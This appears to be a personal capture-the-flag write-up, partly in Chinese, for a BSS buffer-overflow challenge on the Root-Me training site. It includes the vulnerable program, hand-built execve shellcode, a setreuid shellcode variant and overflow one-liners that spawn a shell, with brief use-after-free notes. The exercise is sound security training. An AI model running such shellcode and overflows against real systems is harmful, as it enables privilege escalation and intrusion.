ELF x86 - BSS buffer overflow & 构造shellcode

ELF x86 - BSS buffer overflow & 构造shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>

char username[512] = {1};
void (*_atexit)(int) = exit;

void cp_username(char *name, const char *arg)
{
while((*(name++) = *(arg++)));
*name = 0;
}

int main(int argc, char **argv)
{
if(argc != 2)
{
printf("[-] Usage : %s <username>\n", argv[0]);
exit(0);
}

cp_username(username, argv[1]);
printf("[+] Running program with username : %s\n", username);

_atexit(0);
return 0;
}

参考:https://github.com/s1syphu5/RootMe-Challenges/tree/master/System/ELF%20x86%20-%20BSS%20buffer%20overflow

The atexit and the username are global variables. Therefore, those variables positioned at the .bss section.

r2查看

0x0804a040 512 obj.username
0x0804a240 4 obj._atexit

用username溢出exit,控制EIP

./ch7 `python -c "print '\x6A\x46\x31\xDB\x80\xC7\x04\x80\xC3\xB7\x89\xD9\x58\xCD\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*474 + '\x40\xa0\x04\x08'"`

shellcode放在开头。

http://www.kernel-panic.it/security/shellcode/shellcode5.html
生成shellcode:
execve(“/bin//sh”, [“/bin//sh”], NULL)

  1. a pointer to the name of the program to execute (in our case a pointer to the string "/bin/sh");
  2. a pointer to an array of strings to pass as arguments to the program (the first argument must be argv[0], i.e. the name of the program itself). The last element of the array must be a null pointer;
  3. a pointer to an array of strings to pass as environment to the program. These strings are usually in the form “key=value” and the last element must be a null pointer.
1
2
3
4
5
6
7
8
#include <unistd.h>

int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}

编译运行:

┌─[zentreisender@parrotos]─[~/Documents/root_me/app_system]
└──╼ $./get_shell 
$ ls

需要解决的问题:

  1. shellcode中不能有NULL字符
  2. 需要’/bin/sh’的地址
1
2
3
4
5
6
7
8
9
jmp short mycall      ; Immediately jump to the call instruction

shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
[...]

mycall:
call shellcode ; Push the address of the next byte onto the stack: the next
db "/bin/sh" ; byte is the beginning of the string "/bin/sh"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
get_shell.asm
jmp short mycall ; Immediately jump to the call instruction

shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
xor eax, eax ; Zero out EAX 通过EAX获得NULL
mov byte [esi + 7], al ; Write the null byte at the end of the string 在字符串后添加终结符
mov dword [esi + 8], esi ; [ESI+8], i.e. the memory immediately below the string
; "/bin/sh", will contain the array pointed to by the
; second argument of execve(2); therefore we store in
; [ESI+8] the address of the string...
mov dword [esi + 12], eax ; ...and in [ESI+12] the NULL pointer (EAX is 0)
mov al, 0xb ; Store the number of the syscall (11) in EAX
lea ebx, [esi] ; Copy the address of the string in EBX 参数
lea ecx, [esi + 8] ; Second argument to execve(2)
lea edx, [esi + 12] ; Third argument to execve(2) (NULL pointer)
int 0x80 ; Execute the system call

mycall:
call shellcode ; Push the address of "/bin/sh" onto the stack
db "/bin/sh"
$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o

汇编后得到对象文件,查看机器码。

1
2
3
4
5
6
7
8
9
10
app-systeme-ch7@challenge02:~$ ./ch7 `python -c "print '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + 'A'*474 + '\x40\xa0\x04\x08'"`
[+] Running program with username : ë^1ÀˆF‰‰F
°
   V
̀èãÿÿÿ/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ 
$ ls
Makefile ch7 ch7.c
$ cat .passwd
cat: .passwd: Permission denied

shellcode权限不足

http://shell-storm.org/shellcode/files/shellcode-599.php
\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80
将0x17 改为0x46
When the permissions are setted to “s” instead of “S” a classic shellcode does not set EUID and UID of the current process to old UID (here app-systeme-ch7-cracked):
0x46 “sys_setreuid16” not the classic 0x17 “sys_setuid16”


结构中函数指针
struct Dog {
char name[12];
void (bark)();
void (*bringBackTheFlag)();
void (*death)(struct Dog
);
};

https://cc-sir.github.io/2019/01/11/use_after_free/

use_after_free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。